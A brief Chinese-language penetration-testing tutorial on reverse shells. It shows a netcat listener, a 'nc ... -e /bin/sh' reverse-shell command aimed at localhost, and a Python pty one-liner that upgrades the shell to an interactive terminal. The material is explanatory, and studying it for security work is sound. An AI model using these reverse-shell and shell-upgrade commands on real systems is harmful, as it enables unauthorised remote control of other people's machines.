##偽終端
這一章,我們來講講如何使用python做一個偽終端.不過在這之前你需要先了解一點偽終端的意思,還有一些技巧.這個我們會在下面講到:
偽終端其實就是命令終端(cmd.exe,/bin/sh)通過網絡接口反彈給攻擊者,或者是新建一個監聽端口反彈一個終端給攻擊者,值得注意的就是原終端對于標準的輸入,輸出是不做處理的(stdin/stdout/stderr),同樣的反彈的shell也是不對它做處理的.(ssh訪問都是直接從鍵盤上讀取).
這意味著有一些特殊的命令能夠幫助你反彈shell,像我們最常見的就是使用netcat命令來反彈shell:
```
#啟動netcat監聽器
~$ nc -lvp 443
listening on [any] 443 ...
# 使用netcat反彈'/bin/sh'
~$ nc 127.0.0.1 443 -e /bin/sh
```
現在你可能注意到你看不到一些命令提示,我們輸入幾個命令試試:
```
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux
ls
bin
boot
dev
etc
home
initrd.img
lib
lib64
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
```
上面這些命令運行會很正常,但是當你運行一些需要用戶再次輸入驗證或者是編輯的命令就可能會出現問題,
例如(FTP,SSH,vi等),因為我們虛擬的終端它只有標準的輸入輸出功能,不會再次返回驗證輸入.
但是對于寫文件我們可以使用echo命令來寫入內容,這個對于現實是一點兒也不違和的.
在使用的過程中你也可能已經注意到了,它并有任何的提示性消息給您.這是因為命令的的提示消息是同過STDERR函數來傳遞的,
而在前面我們也討論過我們實現的并不是一個原生終端,如果你想執行一些二進制的執行文件,譬如是meterpeter的執行文件就可能會出現錯誤.
對于已經安裝了python的系統,我們可以使用python提供的pty模塊,只需要一行腳本就可以創建一個原生的終端.下面是演示代碼.執行第一行前
我還沒有進入終端.
```
python -c "import pty;pty.spawn('/bin/bash')"
kali@kali:/$ uname -a
uname -a
Linux kali 3.12-kali1-amd64 #1 SMP Debian 3.12.6-2kali1 (2014-01-06) x86_64 GNU/Linux
kali@kali:/$ id
id
uid=1000(kali) gid=1000(kali) groups=1000(kali)
kali@kali:/$ ls
ls
bin dev home lib64 opt srv usr
boot initrd.img media proc sbin sys var
etc lib mnt root selinux tmp
kali@kali:/$
```
-c參數選項允許我們直接在命令終端里面執行指定腳本,上面那段腳本,我使用分號把兩行代碼合并為了一行.這樣寫并不為過.還有一點.
就是雙引號里面只能使用單引號把/bin/bash引起來,如果使用雙引號就出出現語法錯誤.就像下面這樣:
```
python -c "import pty;pty.spawn("/bin/bash")"
```
雖然到目前為止寫的虛擬終端并沒有原生終端那樣好,但是花點時間去折騰然后不斷的去完善.相信會做的更好.
大家可能在滲透測試的時候會發現有些時候系統的命令終端是不允許直接訪問的,那么這個時候用Python虛擬化一個終端相信會讓你眼前一亮.